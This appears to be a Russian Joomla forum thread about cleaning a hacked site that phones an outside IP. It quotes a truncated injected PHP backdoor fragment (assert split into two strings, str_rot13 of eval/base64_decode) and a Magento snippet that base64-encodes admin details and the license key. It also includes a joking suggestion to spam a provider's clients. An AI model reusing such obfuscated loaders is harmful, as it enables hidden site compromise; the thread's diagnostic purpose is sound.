Основной курс по Joomla
0 Пользователей и 1 Гость просматривают эту тему.
  • 14 Ответов
  • 498 Просмотров
*

Mrakobes_87

  • Новичок
  • *
  • 9
  • 0
Всем доброго времени суток. Столкнулся с такой проблемой: сайт время от времени очень медленно грузится либо ошибку 502 выдает. Сайт: http://oknoptk.ru/ на Joomla 3. В тех поддержке хостинга говорят, что проблема с длительной загрузкой возникает потому, что при попытке загрузить индексную страницу Вашего сайта происходит обращение к стороннему ресурсу 95.181.179.152.
Сторонний ресурс это некто: Neohost.net

Проверка сайта на внешние ссылки ничего толкового не дала. Плагины и модули установлены из проверенных источников и на других сайтах проблем не возникает.

Уважаемые форумчане, подскажите кто, что думает по этому поводу? Как решить проблему?
*

umbabaraumba

  • Практически профи
  • *******
  • 2441
  • 152
  • если помог можете поставить +
Errare humanum est
Ubuntu по-русски
Пишу не сложные модули и компоненты, не дорого но не срочно
*

Mrakobes_87

  • Новичок
  • *
  • 9
  • 0
Смотреть логи
Логи тоже ничего путного не дают, нет в них ошибок с указанным IP
*

robert

  • Профи
  • ********
  • 4009
  • 371
Проверка сайта на внешние ссылки ничего толкового не дала.
А jextensions.com - внутренняя ссылка? Она, наверное, не имеет отношения к вопросу, но дает повод усомниться в компетентности проверки.
Логи тоже ничего путного не дают, нет в них ошибок с указанным IP
Почему это должно быть ошибкой?
« Последнее редактирование: 02.06.2016, 11:34:55 от robert »
  • Не будь паразитом, сделай что-нибудь самостоятельно!
  • В личке и по Skype не даю советов.
*

Mrakobes_87

  • Новичок
  • *
  • 9
  • 0
А jextensions.com - внутренняя ссылка? Она, наверное, не имеет отношения к вопросу, но дает повод усомниться в компетентности проверки.Почему это должно быть ошибкой?
Я знаю куда ведет ссылка jextensions.com и еще одна, которая обнаружена. Поэтому о ней ни чего не написано выше. Тем более удаление расширений с этой ссылкой ничего не дало. Поиск не обнаружил именно ссылку на ID который грузит сайт.
Я далеко не спец в чистке взломанного сайта. Поэтому прошу реальных возможных решений.
*

Mrakobes_87

  • Новичок
  • *
  • 9
  • 0
Проблема решена путем долгого и мучительного поиска ^-^
Может кому пригодится. В некоторые файлы сайта попал вот такой сцуко код:
 ...//###=CACHE START=###
error_reporting(0);
$strings = "as";$strings .= "sert";
@$strings(str_rot13('riny(onfr64_qrpbqr ("nJLtXTymp2I0XPEcLaLcXF... и т.д.

*

pavelrer

  • Завсегдатай
  • *****
  • 412
  • 8
вот жуки "onfr64_qrpbqr" - это base64

http://base64.ru/  и вставляем что в кавычках.
расшифровываем, и смотрим пути от кудова лезит.

Вероятно будет что-то типа

$module = 'Magmodules_Shippingperkm';
$module_version = 'Magmodule_Shipkm1053';
$module_path = 'shippingperkm/general/';
$module_server = str_replace('www.', '', $_SERVER['HTTP_HOST']);
$module_installed = Mage::getConfig()->getNode()->modules->Magmodules_Shippingperkm->version;
return base64_encode(base64_encode(base64_encode($module . ';' . $module_version . ';' . $module_installed . ';' . trim(Mage::getModel('core/config_data')->load($module_path . 'license_key', 'path')->getValue()). ';' . $module_server . ';' . Mage::getUrl(). ';' . Mage::getSingleton('admin/session')->getUser()->getEmail(). ';' . Mage::getSingleton('admin/session')->getUser()->getName(). ';' . $_SERVER['SERVER_ADDR'])));
*

Mrakobes_87

  • Новичок
  • *
  • 9
  • 0
вот жуки "onfr64_qrpbqr" - это base64

http://base64.ru/  и вставляем что в кавычках.
расшифровываем, и смотрим пути от кудова лезит.

Согласно декодеру после расшифровки получается что то типа: ⷫ늫庫
Китайцы мать вашу :(
Кто нибудь в китайском понимает?...
*

Mrakobes_87

  • Новичок
  • *
  • 9
  • 0
Народ, ещё вопрос почти что в тему.
Делал больше года назад сайт один: http://kvadra-group.com/
В один ужасный момент его ломанули и навтыкали ссылок на какой то, опять же китайский интернет магазин. Пока Google не маякнул, я не заметил (так как сайт работал в нормальном режиме). Сайт я почистил, Google санкции снял. Но вот проблема, сайт попал в реестр запрещенных... Только на одних провайдераж он открывается без проблем, а на некоторых (какой то "Атлас телеком" например, как раз оказавшийся у клиента) он сцуко не открывается. Тех поддержка этого атласа снимать блокировку отказывается.
Может кто знает как решить проблему? И еще вопрос, у кого какой провайдер, сайт открывается или нет? ;)
*

pavelrer

  • Завсегдатай
  • *****
  • 412
  • 8
Цитировать
Согласно декодеру после расшифровки получается что то типа: ⷫ늫庫
Неправильно наверное декоднули или не в ту сторону.

Тот код что я написал, это из вашего начала, так что должен получиться код php скрипта.

Цитировать
Тех поддержка этого атласа снимать блокировку отказывается.

Спросить у тех.поддержки, что нужно выполнить для снятия санкций. Хотя они могут базу спам сайтов тянуть из другого места и по ней автоматом работать.

*

Mrakobes_87

  • Новичок
  • *
  • 9
  • 0
Неправильно наверное декоднули или не в ту сторону.

Тот код что я написал, это из вашего начала, так что должен получиться код php скрипта.

Декодировал вот этим http://base64.ru/ Х.з.
Спросить у тех.поддержки, что нужно выполнить для снятия санкций. Хотя они могут базу спам сайтов тянуть из другого места и по ней автоматом работать.


Спрашивал. Они не знают, только отмахиваются, мол не наша проблема.
*

pavelrer

  • Завсегдатай
  • *****
  • 412
  • 8
Тут надо понять кто блокирует.
Если провайдер, и решать задачу не хочет совсем.

То нагадить такому провайдеру полный таз от китайского noname, с предупреждением о санкциях.
Разослав всех им клиетам, страшное письмо, а еще лучше если они занимаются хостингом.
Найти всех клиентов и накакать там! Вони будет огого  ;D

Но лучше искать общий язык, а то можно и нагадить не тому ;D
*

Mrakobes_87

  • Новичок
  • *
  • 9
  • 0
Тут надо понять кто блокирует.
Если провайдер, и решать задачу не хочет совсем.

То нагадить такому провайдеру полный таз от китайского noname, с предупреждением о санкциях.
Разослав всех им клиетам, страшное письмо, а еще лучше если они занимаются хостингом.
Найти всех клиентов и накакать там! Вони будет огого  ;D

Но лучше искать общий язык, а то можно и нагадить не тому ;D
Провайдер однозначно не хочет решать проблему. Послали и меня, как админа, и клиентов с которыми у них договор заключен. Хостер на котором сайт лежит пошел на встречу, меняют серваки где сайт лежит, ну и IP сайта соответственно. Может поможет. А кто столкнется с провайдером "Атлас телеком", посылайте из в ж...у
*

pavelrer

  • Завсегдатай
  • *****
  • 412
  • 8
Цитировать
Хостер на котором сайт лежит пошел на встречу, меняют серваки где сайт лежит, ну и IP сайта соответственно.

Это конечно решение, но Если провайдер блокирует по IP, т.е если это шарик то провайдер блокирует все хосты из-за одного.
тоды поможет.